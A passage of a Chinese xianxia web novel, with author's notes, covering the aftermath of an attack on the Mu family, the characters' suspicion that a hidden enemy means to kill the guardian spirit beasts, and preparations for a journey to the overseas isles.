“真是可笑,除了一个慕从晚,来了一个慕夕阙,你说朝蕴和慕峥两个资质平平的修士,怎么能生出两个天资绝顶的孩子呢?” 黑衣男子松手,一把将摔得头晕眼花的纪挽春丢在地上,他站起身,看着身后跪倒的鹤阶弟子和长老们,这万年来,他何时有过这般生气的时候? “到了这地步,你们已无路可退,即使玉灵没了,百姓走了,也得给我守在这里,否则跑一个我杀一个。” 他拂袖离开,再不看一眼。 有弟子上前搀扶纪挽春,他吐出一口血,一旁的另一位鹤阶长老也跟着站起来,望着那人离开的背影。 长老问:“主子谋划这么多,真的只是为了独占十三州的权力吗?” 纪挽春摇头:“不知。” 曾经他只说要带领他们将十三州握在鹤阶手里,除掉几个盛强的家族,让鹤阶一家独大。 所以鹤阶昧着良心,压住恐惧敢戮杀陈家的玉灵,敢设计杀青鸾和金龙,要灭那几个家族,必须得灭掉玉灵。 可他现在做这些,真的只是为了权力吗?- 灵舟落在淞溪琼筵山。 慕夕阙却站在船舱内,不敢出来,她已经闻到了满山的血味,看到了断折的树木,连往日总绕山齐飞的灵鸟都不再出来。 闻惊遥也并未出去,他没说话,陪在她身边。 过了一刻钟,慕夕阙抬起头,腰背依旧笔直,她走了出去。 然后她看到了从山顶一路往下淌的血,看到百姓和弟子在搬运尸身,清扫断枝落叶,那些总是叽叽喳喳要果子的灵鸟也蔫蔫蹲在尚完好的树上。 有人看到她,忙过来行礼:“二小姐。” 慕夕阙牵出笑:“辛苦了。” 弟子们唇瓣紧抿,却咬牙不敢开口,眼底微红,生怕一开口便泄出哭腔。 慕夕阙往山上走,闻惊遥安静跟在她身后,他们一路向上走,沿路见到主城内的百姓们红着眼帮助慕家弟子完成善后工作。 天已经亮了,只一夜,一个时辰便死了这么多人。 慕夕阙走到山顶已经是半个时辰后,她并未管身后的闻惊遥,抬步进了慕家的家主主殿,而闻惊遥并未进去,他站在外面。 这里不仅站了他,还有随泱以及慕家的一些长老们。 慕夕阙走进去,看到了朝蕴,她端身正坐,身上的伤已经被治疗,断裂的腿骨也接了回去,除了行动不便,看不出异样。 蔺九尘重伤,姜榆和几个弟子在照看他,如今议事堂只有她和朝蕴。 朝蕴看着她,手里握着那块玉坠,她问:“玉坠是你留下的吗?” 慕夕阙颔首:“嗯。” “……为何不自己戴着?” “我不需要。”慕夕阙道,“我之前觉得它无用,只是你们传得很有用罢了,可离开的时候,我想不到能保护你们的方法,我只能寄希望于它。” 它竟然真的有用,这枚玉坠竟然挡住了一个渡劫修士半数修为凝出的刀。 可前世,慕夕阙没收下这枚玉坠,它也依旧在朝蕴那里,慕家灭门那日,为何朝蕴连尸身都没留下,竟能被季观澜杀害? 朝蕴闭上眼,长叹了一声,她缓缓睁开眼:“小夕,清点完毕,慕家失去了五千七百名弟子,九位长老。” 慕夕阙低着头,她什么都没说。 朝蕴站起身,她走路还一瘸一拐,却仍拖着步子走到慕夕阙身边,女儿凌乱的头发挡住了她的神情,朝蕴看不清她的脸。 朝蕴抬手,抚摸她的头发:“你做得很好了,这是慕家必经的灾难,躲过这一次,还会发生很多次。” 屋内很安静,朝蕴低头,看到慕夕阙的脚边滴落的水滴。 这傻孩子连哭都没声音,从小就喜欢闷着自己。 慕二小姐要强,不愿在人前流露半分脆弱,尤其是过去与朝蕴不和时候,憋一肚子气也只会默默跑开,自己寻个地方消化情绪。 朝蕴搂住她,慕夕阙已经比她高了些:“这里就咱们娘俩,想哭就哭吧。” 过了一会儿,她听到压抑的哭声,像是憋了许多年的情绪,它汹涌到一击冲垮慕夕阙的防线,将她强行撑起的盔甲击碎。 慕夕阙将脸埋进她的肩头,压着哭腔说:“我、我以为……我以为我再也见不到您了……我真的怕,怕我赶不及……怕我再一次失去你们……” “我不敢停……没有人能帮我们,从祭墟出来,我只能拼命往鹤阶跑……” 若真的到以身护金龙的地步,作为家主,朝蕴不会犹豫的。 慕夕阙并不知道这玉坠是否真的有用,她那一走,是真的想过或许这一回来,她再也见不到朝蕴。 在鹤阶厮杀的时候,她真的在想,现在这时候朝蕴会不会已经死了,蔺九尘和姜榆是不是也不在了,还有那些长老和弟子,还剩多少人呢? 朝蕴并未深究她的“又一次失去”是何意义,在她的眼里,慕夕阙只有十七岁,她只是个年纪不大的孩子罢了。 “小夕。”朝蕴抱住她,闻到女儿身上的血气,她闭上眼睛,“这十三州不只是慕家的十三州,你扳倒鹤阶放走玄武,是对的,可以救许多人。” 殿内是压抑的哭声,殿外是飘扬的大雪。 随泱仰头,金龙还在沉睡,十三州的玉灵都是靠百姓的供奉强大自身的,他也没想到,唯独淞溪的金龙不同。 这十三州只有它一只玉灵靠十二辰供给,百姓的供奉对它有用,却并不是力量的主要来源。 冷不丁的,他看了眼一旁的闻惊遥,皱了皱眉:“闻少主,你身上的伤很重,要不去歇息一番?” 闻惊遥并未动:“无事,有劳随前辈担忧。” 随泱只能啧啧撇了撇嘴,看着满目疮痍的慕家,他沉声道:“慕家这一遭与闻家的经历太过相似,定是也要修整一段时日,我只是不懂,过去万年鹤阶都未攻打慕家和闻家,为何如今起了念头?” 闻惊遥抬眸,看着满地的雪花:“是那个人的计划。” 另一边安静的慕未缈开口:“攻打慕家尚可勉强理解为为了十二辰,可他这么多年前便计划要对闻家出手,埋下祟种和秽毒,图什么呢,仅仅因为忌惮你们闻家日渐强大,忌惮你会去夺天罡篆?” 闻惊遥薄唇微抿,前些时日他也认为鹤阶太过无法无天,仅仅因为这些便对闻家出手。 直到如今,看到玄武被囚七千年,麒麟被镇压,金龙险些被戮,一月前的青鸾也险些死于不渡刀下,再联想当年陈家的事情,一个近乎荒谬的猜测让他怎么都没办法忽略。 他看着随泱和慕未缈,以及几个慕家长老朝他看来的眼睛。 末了,闻惊遥声音略沉:“我觉得,他的目的或许在于戮杀玉灵。” 与此同时,主殿内的慕夕阙也开了口。 “阿娘,我想明白了,他并不像在乎十二辰和天罡篆的模样,我觉得他在乎的是金龙,青鸾,玄武。” 朝蕴忽然抬眸:“他想杀玉灵?” “嗯。”慕夕阙颔首,她哭了片刻后便已止住眼泪,如今仍是那个冷静沉着的慕二小姐。 “鹤阶贪婪,求名求利,可他修为已至渡劫,且长寿至今,钱权名利易如反掌,却还要费尽心机操控鹤阶做这些事,总有自己的目的。” 鹤阶那些贪生怕死的人应当不敢贸然戮杀玉灵,这可不仅是灭门的事,戮杀玉灵在世人看来,是将神明赐予的瑞兽杀害,天谴说不定哪日就劈到头上了。 慕夕阙顿了顿,见朝蕴神色肃重,她又道:“至于是杀几只玉灵,还是想将一百七十三只玉灵全部杀干净,如今并不知晓。” “他敢!”朝蕴的声音拔高,近乎惊惧,“戮杀玉灵便是毁一方城池,多少人无家可归,无地可种!” “或许这就是他的目的。”慕夕阙道。 朝蕴看着她,她忽然背过身,脊背塌陷,艰难喘气,这些猜测将她砸得缓不过来,玉灵在几千万的百姓眼里是神明一般的存在,百姓们愿意用自己的命来换玉灵活着。 可有人要杀玉灵,要杀这些山灵- 海水翻滚涌上沙滩,几个孩子光脚,裤腿挽起,踩在打湿的泥地中,堆起一个个模样各异的沙丘。 远远的,有个女子在唤:“阿漾,回家吃饭了。” 名唤阿漾的稚童约莫六岁,扬起小脸高高喊了声:“我等爹和阿兄回来!太阳要落山啦,渔船要归航!” 每到夜幕将来,晚霞挂上天际之时,一艘艘清晨天光大亮便出海的渔船便会陆续归航,海外仙岛的孩子们自小就知道,这片海广阔无垠,养育了一代代的渔民。 但渔民并未征服海域,深海之中的巨兽会在夜晚睡醒,当月色升起,它们便会开始捕猎,尚未开灵智的海兽们并不知晓什么能吃什么不能。 所以那时候飘在海上的渔船,也会是它们的猎物,白日这片海属于渔民,夜晚到来,海归海里的生灵,渔船必须归航。 阿漾自顾自在堆沙丘,每次待她堆到第三个高楼之* 时,父亲的渔船便会归航,母亲会将父亲和兄长打来的鱼虾分拣。 可她今日堆了六个高楼,并未听到有人喊她。 阿漾抬起头,已经能隐隐看到一抹月色了。 码头有人在喊:“阿漾爹的船怎么还未来?” 阿漾的母亲焦急站在码头:“能不能出去帮我们寻寻,月亮马上要升起来了,还在海上会死的!” 被她拉住的船夫无奈道:“这没办法去啊,现在出海根本赶不回来的,他应当快了,别担心,在这片海都打了三十年的鱼了,霞光升起的时候是必须要归航的,他自是知道。” 远处的海域已掀起巨浪,一艘小舟在海上漂荡,渔夫慌忙掌舵,却无法调转船体,有一只巨兽在船下,拖着他们的船往深海走。 “爹!爹!” 年轻的男孩浑身已被海水打湿,他慌忙跑过来,“这些海兽不对劲,天还未完全黑下,它们竟然醒了!” 渔夫来不及回答,正要喊孩子先进船舱内,前方的海域忽然一声巨响,他们齐齐看去,一只身长百丈的巨兽腾空跃起,一只兽瞳都有他们的船大。 渔夫回身,扑在孩子身上,将他压在身下护住。 月色彻底升起,黑夜来临。 码头上围了上百人,阿漾的母亲双腿瘫软,跌坐在地。 “完了,完了……” 这么多年,落日前未归的渔船,没有一艘能活着回来。 失去只是一瞬间的事。 作者有话说:再有两章就接海外仙岛的副本啦,那个黑衣人的身份也会在这里说清楚啦,他的目的确实是戮杀玉灵,也确实认识慕家老祖,活了好多年了。 来晚了会儿,发个红包,今晚多写点,然后明天加一更[撒花] 第65章 第 65 章 海外仙岛 当夜幕落下后, 经过半日的休整,所有死去的弟子的尸身已被妥善搁置,辨别身份, 向家属传信。 慕夕阙坐在山谷旁,嘴里啃着个果子, 那果子的味道着实清奇, 在整个十三州除了琼筵山顶,没有地方能吃到,它只生在金龙栖息的山谷旁。 她能听到山谷内极其微弱的呼吸声, 那块已失去玉灵之力的背甲仍卡在峡谷内,在背甲下面金龙沉睡着,待十二辰的力量逐渐恢复, 它的力量和意识也会回来。 有人走过来, 坐在她身旁, 慕夕阙余光瞥见一抹紫影, 便知道是谁来了。 越疏棠问她:“……你知道我会来淞溪等你, 知道我会上慕家帮忙,是吗?” 慕夕阙漫不经心回道:“我不确定你是否会来淞溪,但若是你来了, 你不会坐视不管的。” “给我玉符是为了让我帮你们吗?” “不是,你孤身一人在十三州查这些, 难免遇到危险, 有慕家暗桩相助,路好走些。” 越疏棠顿了顿, 又问:“为何这般信我?” 慕夕阙道:“你看着不像坏人。” 越疏棠活了几十年了,岁数大慕夕阙不少,她有时觉得慕夕阙看起来完全不像个十七岁的少女, 这等沉稳冷静不经世事是很难锤炼出来的,可有时,她又像极了个十七岁的少女,说的这些话甚至有些可笑。 她只能别过头,僵硬说道:“轻信他人死得会很快,你记住。” 慕夕阙点点头,像是记住了,又像是在敷衍她:“嗯,知道了。” 两个人安静坐了很久,谁都没有说话,越疏棠听着慕夕阙在嘎嘣嘎嘣啃果子,不知为何她还有心情吃东西,这位慕二小姐行事太过捉摸不透了。 “……我们阁主来了十三州。”越疏棠垂下眸子,艰难开口,“你说得对,是我轻信他了。” 她看着自己的衣裙被泪珠打湿,杀手应该冷静自持,可她忘不了夜迢走时看她的那一眼,眸中满是杀意,若非当时情况紧急,越疏棠毫不怀疑,夜迢会杀了她。 “或许我也在无形中当了他捅向无辜者的一柄利刃,慕二小姐,这不是我的本意。” 慕夕阙垂眸,目光并无焦点。 她对夜迢的信任并不比越疏棠少,前世在海外仙岛的那些年,是影杀帮她躲避十三州派来的耳目,是他们教她影杀的杀招和易容术,夜迢甚至将自己的秘法折露斩都传授给了她。 所以对他来说,他其实只觉得好玩,看着一个满门尽灭的孤女想尽办法活命复仇,她满十三州地寻找仇人,却不知,她信任的人便是当年惨案的其中一个刽子手。 夜迢或许还会在她走后跟手下笑。 ——你看,她蠢死了,她爹可死在我手上,她的家人没少被咱们影杀屠戮,她还跟咱们做朋友。 ——脑子呢?太可笑了,每天看她那么信任我,我都快演不下去了。 ——用着仇人的杀招去杀人,你说她知道后会不会气得提刀砍上影杀? 慕夕阙并不知道该说什么,她无法坦白自己前世在海外仙岛的经历,也不知道该如何安慰此刻的越疏棠,她们两人太像了,被信任的人利用,这该如何排解呢? 她只能递过去一颗果子。 “洗过的,能吃。” 越疏棠看着她掌心中的果子,慕夕阙的手掌有伤,缠着绷带,那颗金色的果子躺在掌心中,一颗很大。 见她不接,慕夕阙抬了抬手:“这果子我们慕家叫它‘匡恶’,每年三月到八月,这条山谷上便会结满匡恶果,会给每一个弟子都发放两颗。” 越疏棠接过,低声道:“多谢。” 慕夕阙没说话,也没看她,她自己已经吃到第二颗了。 越疏棠咬了一口,顷刻间皱起眉,她从未吃过如此辛辣苦涩的果子,果肉化开在唇齿间,嘴里都觉得火辣辣,慕夕阙却能面不改色吃进去。 有些难吃,但出于礼貌,越疏棠还是咽了下去。 于是她品出了一丝甜意,丝丝缕缕,化在舌尖上。 她忽然明白了,为何这果子名唤“匡恶”了,在匡恶扶正的这条大路,不走到头,很难品出一分甜意。 越疏棠侧首看慕夕阙,她明明比迟笙只大两岁,却又给她莫名的可靠感,好像这一个十七岁的少女,也能顶起一片天。 慕夕阙看着峡谷内卡住的背甲,说道:“我向玄武请了这枚背甲来,这有它百年的修为,再过一月,金龙就能醒了,它会知道这一切的。” 它会知道,为了保护它,有多少人甘心赴死,以尸骨无存为代价,即使是并无修为的凡人百姓,也愿意为了它,冲向有祟种的地方。 玉灵和它们庇佑的百姓们,从来都不只是单向的庇护。 待越疏棠走后,慕夕阙坐到深夜,起身回去。 薛青菱已经回了沅湘周家,随泱也回了东浔去见随安,闻惊遥仍在慕家。 慕夕阙在院门前瞧见他的时候并不惊讶,她看了一眼,径直推开门进去,而闻惊遥也跟在她身后。 她坐在院里的石桌旁,那里除了几个石凳外,梨花树下还摆了张躺椅,慕夕阙躺上去,闭目道:“干什么?” 闻惊遥安静了片刻,见她不睁眼也不生气,说道:“我过会儿要回东浔一趟,需要将天镜还回去,走前看看你。” 慕夕阙朝他扔了个瓷瓶:“玄武的血,它赠予我的,似乎可以解毒辟邪,我也用不到,柳确家人身上的毒或许能指望一下它,你没办法找燕如珩拿到解药的。” 柳确家人中了燕如珩的诡谲之毒,闻家已遍寻医师,也只能压制毒素,它已经一点点啃噬了柳家人的记忆,怕是时日无多。 闻惊遥握紧瓷瓶,颔首道:“过会儿我先去往寒霞镇试一试,多谢夕阙。” 慕夕阙双手环胸,仍闭着眼没看他,只道:“你该谢的是玄武,起初我并未打算管柳家人,我也没办法拿到解药,燕如珩不可能给出来的。” 若是给出来了,那便是坐实了燕如珩下的毒。 偷毒药方子更是不可能,以燕如珩的谨慎和过目不忘的程度,用得着写方子吗,全都记在脑子里。 柳家人本是死局,慕夕阙没办法救他们,但今夜玄武临走前赠她的这瓶血,或许可以试一试,死马当作活马医。 慕夕阙闭着眼,这个时节梨花树已开,满院都是这股清淡的香,她躺了一会儿,近些时日太过疲累,已经连着十八日未曾合眼休息,如今脑袋一挨着枕头——甚至不算枕头,只是一把躺椅,困意便如山海般倾来。 意识昏沉间,身上一重,她闻到很淡的雪竹香,干净纯粹,清寒料峭。 慕夕阙听到关门的声音,她睁开眼,梨花树仍旧繁茂,风一吹,一些花瓣落下,飘到她身上的披风中。 青色的披风用料并非慕家这般昂贵的鲛绡蚕丝,这款式也并未多花哨,素净简单,盖在她身上,为她遮蔽寒冷。 其实她早就不怕冷了- 一月后,金龙从昏厥中苏醒了。 慕夕阙坐在山谷旁,蔺九尘的伤早已养好,慕家也正在有条不紊地重新修缮,一月说快不快,说慢不慢,她每日会在天亮时来山谷旁看金龙,然后便是帮着弟子一同修缮。 闻惊遥来了六次,几乎隔几日便来一次。 今日金龙苏醒,淞溪下了一月的大雪终于消失,满山的树也回了春,长出新芽,百姓们上冻的地化开,冻坏的庄稼,所有损失也都由淞溪慕家承担。 慕家弟子听到后山传来咆哮声,这是许多弟子第一次听到金龙的声音,包括慕夕阙,若非不能无故出山,以金龙这个刚烈脾气,怕是早已杀去鹤阶。 朝蕴坐在议事堂内,慕夕阙走进后,她便看了过来。 朝蕴道:“浮生谷夙家,不归谷容家,定州方家和鹤阶是此次攻山的主力,影杀的人跑得太快,咱们没有证据,但这四个家族,我已将所有事情通过水镜告知十三州,按十三州律法,扣留的弟子们会斩断灵根,废去修为。” “几家家主可有说什么?”慕夕阙问。 “他们屁都不敢放一下,三家统一口径,是长老叛变带领弟子攻山,并非家主意愿,愿意弥金补偿,而鹤阶压根没回复此事,如今鹤阶威望尽失,玉灵离开,城池也几乎空了,听闻许多与鹤阶有勾结的家族也在暗中撤去自己的势力。” 朝蕴顿了顿,声音一沉:“如今愿意帮咱们讨伐鹤阶的只有几个家族,其余世家大多还是事不关己高高挂起。” 趋利避害保全自身,是人之本性,慕夕阙上辈子就看透了这点。 弱小的门派有心无力,强大的门派大多不愿掺和这些事,鹤阶强盛了几千年,门生也兴旺,在多数人眼里看来,是很难因为这些事被剿灭的,如今贸然出手,若日后鹤阶再发达起来,难免引火烧身。 这些也在慕夕阙意料之中,她在木椅中坐下:“无事,起码玄武走了,鹤阶的子民也离开了他们,如今多少世家都视鹤阶为烫手山芋,他们的盟友还剩几个?再等等,阿娘,再等些时日。” 朝蕴叹了声,又道:“赤敛燕家遭难太过突然,慕家暗桩派人去探,听闻麒麟似乎有异,赤敛百姓们对燕家愤懑不平,燕如珩他……” 说到这里,朝蕴皱眉:“听闻伤得极重,两月都未露面,而燕家主宅如今由燕家家主燕琅把持,但慕家暗探来报,听闻燕家在查海外仙岛的一人,好像是个医仙。” 慕夕阙正抿茶,抬起的手一顿,她放下茶水,抬眸看过去:“医仙?” 朝蕴颔首:“对,应是燕如珩出了事。” 慕夕阙反而笑了,她撑着下颌看着朝蕴,点点头:“这样啊。” 看来燕如珩怕是成了个废人,十三州的医修也不少,药谷更是医术惊人,燕家也不是没钱去求药谷谷主医治,如今却都求到海外仙岛去了。 朝蕴却皱着眉:“只是不知燕家此难为谁所为,这人是好是坏?” 慕夕阙站起身:“您就别担心了,慕家不会有事的。” 朝蕴的鬓边多了几缕白发,慕夕阙看着,知道她的担忧,她无法去多说什么,也没到坦白一切的时候。 慕夕阙只能道:“阿娘,我先下去吧,您也休息会儿。” 朝蕴颔首:“你也是,慕家情况已经稳定,金龙已苏醒,便不要再担心这些。” 从议事堂出来,慕夕阙站在高阶之上,她向下看去,被踩碎的台阶已被修补,弟子们有些正在修炼,有些仍在修缮琼筵山。 慕夕阙垂眸,盯着地砖上倒映出的树影。 医仙? 海外仙岛能称得上医仙名号的,只有一个人。 梅枝雪。 慕夕阙上辈子在海外仙岛听说过她的名号,传闻还能活死人肉白骨,医术可比药谷老谷主,老谷主死后,整个十三州和海外仙岛,医术最高的便是梅枝雪。 在得知慕从晚未死后,慕夕阙便托影杀搜寻梅枝雪的下落,想着将慕从晚带到海外仙岛,尝试为她修补灵根,可惜最后没如愿,慕从晚死了,梅枝雪也未找到。 慕夕阙边朝院里走,边想上一辈子影杀提供给她的线索,时间太久了,慕从晚死后她再也未注意过梅枝雪,只模糊记得影杀告知她,梅枝雪出现在海外群岛的一座小岛上。 ……是哪座岛来着? 正想着,刚走到小院,慕夕阙推门,远处的路上急速奔来一人,满头金钗晃得人眼晕,她扭头看去,师盈虚那身粉裙只一晃,瞬间便冲到了身前。 慕夕阙:“……你干什么呢,慌慌张张?” 师盈虚有慕家的弟子玉符,可以随意出入慕家,她应当是山门处一路跑来的,举着一个木盒道:“自从东浔出事你提醒过我之后,我回家将整个师家主宅翻了个遍,你猜这东西从哪里翻出来的?” 慕夕阙的脸色渐渐沉下:“师家主和离夫人留下的?” 师盈虚的眼底微红,似乎哭过一场,她咬牙道:“嗯,在我房间,在装有我幼时玩物书画的木箱子里,阿娘将它放在那里的。” 离蘅和师听渊不想师盈虚知晓这些,却又害怕这消息再无人知道,藏在了一个师盈虚很可能不会去翻的地方,至于她是否能发现这些,那便听天由命,看上天的安排。 慕夕阙推开门:“进来说。” 师盈虚走进去,慕夕阙的寝殿极大,四面都是窗,轩窗半开,屋内亮堂,也不需要点灯。 她将桌上摊开的书卷收到一旁,温上一壶茶,看师盈虚打开那方小木盒。 “我爹娘留下的信,尚未寄出,这应是他们留下的备份。” 慕夕阙接过去,字体很草,应是匆匆忙忙拓了一份。 师听渊和离蘅死于要告发鹤阶之时,鹤阶的人说他们暗中书信,恐怕便是这封信,寄出的那封被鹤阶拦截,也因此为他们招致了杀身之祸,而两人性情谨慎,还拓了个备份。 她大致扫了一眼,师盈虚在一旁解释。 “我爹娘每年会外出一段时日,走走四方,寻寻机缘,他们感情好从不离开彼此,在半年前,我爹娘外出除邪之际察觉到祟种出没,两人便追去。” 师盈虚哽咽了下,又急忙压住哭腔,继续说道:“他们看到了鹤阶是怎么镇压祟种,将一些抓来的散修变成祟种的,两人寡不敌众,只能装作加入鹤阶,立下誓言绝不告发。” 可师听渊和离蘅为人正直,又怎会知而不说,为虎作伥? 两人回了趟家,秘密书信妄图告知其余门派,信被拦截,他们二人也在再次外出时遭遇不幸。 慕夕阙盯着信上的几个字。 师盈虚抬手指着:“海外仙岛,鹤阶还向海外仙岛藏了秽毒,夕阙,十三州为何要插手海外仙岛的事情?” 十三州与海外仙岛在万年前尚联络,后来因为祭墟坐落在两片海域之间的峡谷内,于是两边便渐渐断了来往,到他们这一辈,对海外仙岛的印象只停留在书册上和别人的话中。 慕夕阙道:“为了那两只玉灵。” 她合上信,塞入木盒中:“若祟种攻岛,大灾来临,玉灵会出山的,届时便能斩杀玉灵。” 师盈虚愣了下,低声骂道:“疯了吗?真的要杀玉灵?” 慕夕阙只是不明白,能在海外仙岛埋秽毒,影杀必定参与其中,夜迢不会不知道这些,纵使这个黑衣男子想要为一己私欲谋戮玉灵,但夜迢应当知晓,若玉灵没有了,海外仙岛也不存在,影杀便也同样化为乌有。 师盈虚低声道:“夕阙,我们现在该怎么办,祖父说让我先学习如何管理师家,提升境界,过去十几年我太过混账,贪吃爱玩,懒惰成性,修为不涨,学识也不够,还得连累祖父。” 师家家主和家主夫人都死去,师盈虚又尚且年幼,纵使已心性成长,努力去学习如何管理师家,可偌大家族并非一朝一夕便能掌控的,师家至宝镇铃又沉睡,师家面临虎视眈眈的鹤阶,以及妄图夺权的师家旁支。 前些时日慕夕阙告知她,或许那人的目的是谋戮玉灵后,师盈虚沉思一晚,第二日清晨便去请了早已闭关冲渡劫的老家主出山,坐守师家,镇守貔貅。 老家主贸然出关,因为此事,几十年的闭关皆都作废,停在大乘满境再无冲渡劫的希望。 慕夕阙道:“你无需操心这些事,容我想——” 还未说完,院外传来敲门声。 慕夕阙起身去开了门,外头站着越疏棠和迟笙。 这些时日越疏棠并未离开慕家,她在等慕夕阙忙完和她一同去查影杀的事情,父亲的事固然重要,但如今慕家的情况也没办法让慕夕阙抽身离开。 “慕二小姐。”越疏棠神色略显焦急,“我需得回海外仙岛一趟。” 慕夕阙眼眸微眯:“为何?” “出事了,刚收到传信,这一个月来海兽有异样,往日它们畏惧日光,白日是休眠时机不会出来,可近些时日醒得越来越早,有十几艘渔船没回来。” 听到海外仙岛,师盈虚也匆匆走来:“我听闻过,海外仙岛有许多尚未开智的巨兽,只在夜间活动,那些未归的渔船……” 迟笙咬牙回答:“怕都死了,那些巨兽很大,一只都有一座小岛般大小。” 慕夕阙还未说话,越疏棠匆忙说:“我有个熟识的人前几日也失踪了,我得回去。” 慕夕阙问:“谁?” 越疏棠愣了下,不知她问这些干什么,但还是老实回答:“是一户渔民,我出任务时他们曾经救过我,如今他们出事,我不能坐视不理。” “你回去能做什么?”慕夕阙淡声问,“影杀阁主已对你起了杀心,海外仙岛是他们的地盘,且渔船在海上失踪,你怎么去找,知道他们是否还活着吗,迷失在了哪片海?” 她此刻甚至有些咄咄逼人,一句接着一句的质问将越疏棠和迟笙砸得说不出话,师盈虚扯了扯慕夕阙的胳膊,她却并不理会,仍冷静地分析:“又或者,他们的失踪便是影杀对你设的陷阱,想你回去呢?” 迟笙脸色一白,越疏棠与那户渔民关系甚好,影杀不少人知晓。 越疏棠垂下的手攥紧,眼底浮出血丝,她咬紧牙关,唇齿间散开了淡淡的血气,那是她咬破的嘴唇。 片刻后,越疏棠深吸一口气,将迟笙扯过去推给慕夕阙:“请慕二小姐帮我照顾阿笙,就当是我帮慕家那一次的报答,我必须得回去一趟,如果他们真是因我遭了牵连,我也必须得去救他们。” 她说完,对慕夕阙拱手行礼,转身便要往外走。 “阿姐,我也去!” 迟笙想要追上,慕夕阙扯住她的手腕。 “慕二小姐,我也要回去!”迟笙恼了,回头看她。 慕夕阙却扯住她的手腕,拖着她朝越疏棠走去,她们脚步很快,拦在越疏棠面前。 双目相对,慕夕阙将迟笙又推了回去。 “你等我一日,明日我和你一起去。” 越疏棠愣住,迟笙也怔怔看着她,师盈虚一个箭步冲过来。 “夕阙?” 慕夕阙道:“我本来就得去海外仙岛一趟,我得找一个人。” 越疏棠讷讷问:“找谁?” “梅枝雪。” “……医仙?”越疏棠皱眉。 “嗯,我得找她帮我阿姐修复灵根,我阿姐身子格外不好了。”慕夕阙垂下眼眸,“从在东浔闻家见到她时,我便知道她已是强弩之末。” 若不干涉,活不过十几年了,前世慕家灭门后,鹤阶靠着令她疼痛难忍的强药,强行吊住慕从晚早已掏空的身体,让她痛苦地活了五年。 越疏棠反问道:“你阿姐身上尚有秽毒,你帮她修补灵根,若她哪日祟化……” 慕夕阙看着她,沉声道:“父亲当年去往海外仙岛,便是得知梅枝雪能对付秽毒,若无法彻底清除或镇压我阿姐身上的秽毒,这修补灵根便算了。” 师盈虚却拽住慕夕阙的衣袖:“你现在走了,慕家怎么办,不怕那个人又攻回来?” 慕夕阙却望向高耸的山头,金龙就在山里,在今日清晨,所有人都听到了金龙的咆哮声。 “他不敢的,金龙醒了,它在生气。” 金龙在,慕家的结界玉灵就在,此刻已不是虚弱的金龙,而是一只正在发怒、对鹤阶满怀恨意的玉灵。 师盈虚沉默片刻,忽然道:“我也去。” 慕夕阙看过去,她却坚定道:“我修为不高,在师家也帮不上什么忙,有我祖父坐镇不需要我,我和你一同去海外仙岛,那里事关我爹娘的死,我得去。” 可这次慕夕阙并未阻止她,反而点点头:“那就去,你回去收拾,我们明日出发。” 这主意敲定得太快,几人尚有些难以回神,慕夕阙却面色平静,望向金龙栖息的山头。 “两月来,我看了慕家所有的书册,慕家关于那位老祖的记载太过于稀少,似乎是被人有意销毁了,却仍有漏网之鱼,我找到了一份老祖曾经批阅的书函,交代她要去海外仙岛。” 慕家老祖从祭墟回来后,因使用十二辰身体掏空,重病不起,却在死前去了趟海外仙岛,从那里回来的第七日便离世。 随泱说让她查查慕家创世老祖,或许她与那个不敢露面的黑衣男子有关,修为这般高强,能镇压玉灵,她只能想到万年前的那一批大能们。 那些在当年抵抗灾厄,镇秽除祟的上古大能。 作者有话说:今天加更,下一章还有哦,换地图喽[撒花]《 》 65-70 第66章 第 66 章 沉迷 东浔闻家主宅, 夜已深邃。 徐无咎坐在屋内,闭目打坐,而被困住的任风煦似乎无知无觉沉睡着。 倏然间, 灰白色的眼眸挣开,无渊锁发出激烈的碰撞声, 徐无咎即刻惊醒, 方才还沉睡的祟种竟如受到刺激般,双目大睁,威压暴涨。 徐无咎抬手横指, 操控无渊锁收紧,那锁链顷刻间变大,篆文急速旋转, 金光强行压制住任风煦, 可任风煦已达大乘境, 根本不是徐无咎一个金丹能对付的。 反冲的威压已经让徐无咎呕出淤血, 关押任风煦的杀阵觉察出祟种冲击, 悄然启动,用阵法之力镇压祟种,可越是镇压, 反而让任风煦越是疯狂。 任风煦站起来,顶着一身的锁链朝徐无咎奔来, 而徐无咎身后无路, 早已没地方可走。 轩门被人踹碎,一人冲上前拽住他的肩胛, 用力极大,徐无咎觉得自己骨头险些被捏碎一般,随后一股猛力传来, 他被甩飞出去砸出房间,又被匆匆赶来的闻家弟子接住。 屋内已打起来,闻惊遥踹向任风煦的心口,将他砸到榻上,在他还未起身之际,少年抬手几剑将他的小腿骨敲碎,让他丧失站立能力。 任风煦并无痛觉,躺在榻上挣扎,抬起灰白的眼睛,而闻惊遥也已趁这会儿凝出阵法,从天而降一个硕大的圆形灵阵,重重压在任风煦身上,让他完全挣脱不了。 徐无咎也冲进来,加强无渊锁的束缚力,有闻惊遥的灵阵镇压,双重捆缚,将发狂的任风煦按住。 徐无咎脸色苍白,拱手道:“多谢闻少主。” 闻惊遥看过去:“任前辈方才像是受到操控,应是鹤阶在召唤他,既然能靠玄武之力镇压祟种,或许那个人也借此练出了控制祟种的能力。” 徐无咎默然不语,他自然能听懂闻惊遥的意思。 闻惊遥向来心直口快,直接道:“那个人知晓任前辈在这里,前辈对他有用,怕是前辈留着也会后患无穷,不能久留了。” 任风煦还在妄图挣扎,与前些时日安静沉寂的模样截然不同,徐无咎看着他。 两人沉默,屋外,庄漪禾也得知消息匆匆赶来。 本就不大的屋里站了三人,庄漪禾红唇微抿,忽然道:“徐公子,任前辈怕是留不得多久了。” 徐无咎垂眸,安静片刻后,闷闷应了一声:“是,在下知晓。” 庄漪禾冷静道:“望你早做准备,若前辈再出现异样,为了十三州的安宁,即使他身上的谜团尚未解开,我们也必须得除祟。” 徐无咎抬眸,看向怒瞪双目的任风煦,喉口梗塞,可理智并未因此糊涂。 “夫人放心,若再有一次,我会亲手斩掉义父的头颅。” 庄漪禾颔首,看了眼闻惊遥,两人一同走出去。 离了徐无咎的住处,他们走在外面,庄漪禾问道:“任前辈与云姝的事情,你们还未做好决定吗,要不要告知云姝?” 闻惊遥沉声说道:“您与周夫人关系亲近,以您所见呢?” 庄漪禾沉默了会儿,两人走在空无一人的路上,她低声道:“云姝记忆全无,又失去独子,丧子之痛尚未过去,身体孱弱,若这时告知她,她有个亲兄长,甚至这些年一直在找她,两人见面多次都未认出彼此,恐云姝难以接受。” 知晓她的犹豫不决,闻惊遥却不得不道:“过不了多久,这些事情了结后便必须斩杀任前辈了,周夫人若在此之前知晓,尚能和兄长见一面。” 